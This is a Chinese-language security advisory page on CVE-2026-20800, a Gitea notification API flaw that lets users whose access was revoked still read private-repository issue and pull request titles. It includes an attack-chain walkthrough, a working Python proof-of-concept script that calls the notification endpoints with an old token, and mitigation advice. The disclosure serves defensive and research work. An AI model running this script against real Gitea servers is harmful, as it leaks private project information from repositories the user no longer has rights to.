IPBUF安全漏洞报告
English
CVE-2026-20800 CVSS 6.5 中危

Gitea通知API权限控制漏洞导致私有仓库信息泄露

披露日期: 2026-01-22
来源: 88ee5874-cf24-4952-aea0-31affedb7ff2

漏洞信息

漏洞编号
CVE-2026-20800
漏洞类型
访问控制/授权问题
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Gitea

相关标签

访问控制权限绕过信息泄露GiteaAPI安全CVE-2026-20800

漏洞概述

Gitea的通知API存在严重的访问控制漏洞。该漏洞源于Gitea在处理通知详情时,不重新验证用户对仓库的访问权限。当用户被从私有仓库中移除或权限被撤销后,他们仍然可以通过之前创建的通知记录访问issue和pull request的标题信息。攻击者可以利用此漏洞获取原本无权访问的私有项目信息,包括项目讨论内容、问题追踪详情等敏感数据。此漏洞的CVSS评分为6.5,属于中等严重程度,主要影响机密性。攻击者需要具备低权限用户身份,但无需用户交互即可实施攻击。

技术细节

Gitea的通知API端点在返回通知详情时存在权限验证缺陷。具体问题在于:1) 当用户被移除出私有仓库后,相关的通知记录并未被删除或失效;2) API在返回通知详情(包括issue和pull request标题)时,仅验证通知记录的存在性,而不重新检查用户当前对仓库的访问权限;3) 攻击者可以通过调用通知列表API和通知详情API,在权限被撤销后仍然获取私有仓库中的issue和pull request标题信息。攻击流程:首先攻击者作为仓库成员接收通知,然后权限被撤销,最后通过API仍可获取通知中的敏感信息。修复方案需要在API响应前重新验证仓库访问权限,或在权限变更时清除相关通知记录。

攻击链分析

STEP 1
步骤1
攻击者作为合法用户加入私有仓库,接收来自该仓库的通知(issue、pull request等)
STEP 2
步骤2
仓库管理员撤销攻击者的访问权限,将其从仓库中移除
STEP 3
步骤3
攻击者使用之前的访问令牌调用GET /api/v1/notifications获取通知列表
STEP 4
步骤4
攻击者调用通知详情API端点(如GET /api/v1/notifications/threads/{id}),获取issue和pull request标题
STEP 5
步骤5
由于API未重新验证权限,攻击者成功获取已无权访问的私有仓库的敏感信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-20800 PoC - Gitea Notification API Access Control Bypass # This PoC demonstrates accessing notification details after repository access revocation import requests import json GITEA_URL = "http://target-gitea-server.com" ATTACKER_TOKEN = "your_attacker_access_token" def get_notifications(): """Get list of notifications for the attacker""" headers = { "Authorization": f"token {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Get all notifications response = requests.get( f"{GITEA_URL}/api/v1/notifications", headers=headers ) if response.status_code == 200: return response.json() return [] def get_notification_details(notification_url): """Get notification details - vulnerable endpoint""" headers = { "Authorization": f"token {ATTACKER_TOKEN}", "Content-Type": "application/json" } # This endpoint does not re-validate repository access permissions response = requests.get( f"{GITEA_URL}{notification_url}", headers=headers ) if response.status_code == 200: return response.json() return None def main(): print("[*] CVE-2026-20800 PoC - Gitea Notification API Access Control Bypass") print("[*] Target:", GITEA_URL) # Step 1: Get notifications print("\n[1] Fetching notifications...") notifications = get_notifications() if not notifications: print("[-] No notifications found or authentication failed") return print(f"[+] Found {len(notifications)} notifications") # Step 2: Access notification details (even after access revocation) print("\n[2] Accessing notification details (bypassing revoked permissions)...") for notif in notifications: subject_url = notif.get("subject_url") if subject_url: details = get_notification_details(subject_url) if details: print(f"\n[+] Notification Details:") print(f" Subject: {details.get('title', 'N/A')}") print(f" Type: {details.get('type', 'N/A')}") print(f" Repository: {details.get('repository', {}).get('full_name', 'N/A')}") if __name__ == "__main__": main()

影响范围

Gitea < 1.25.4

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时措施:1) 立即撤销所有可疑用户的访问令牌并重新生成;2) 监控API访问日志,查找异常的通知API调用模式;3) 考虑临时禁用通知功能;4) 通知可能受影响仓库的所有者检查访问权限配置;5) 实施IP白名单限制,减少未授权访问风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表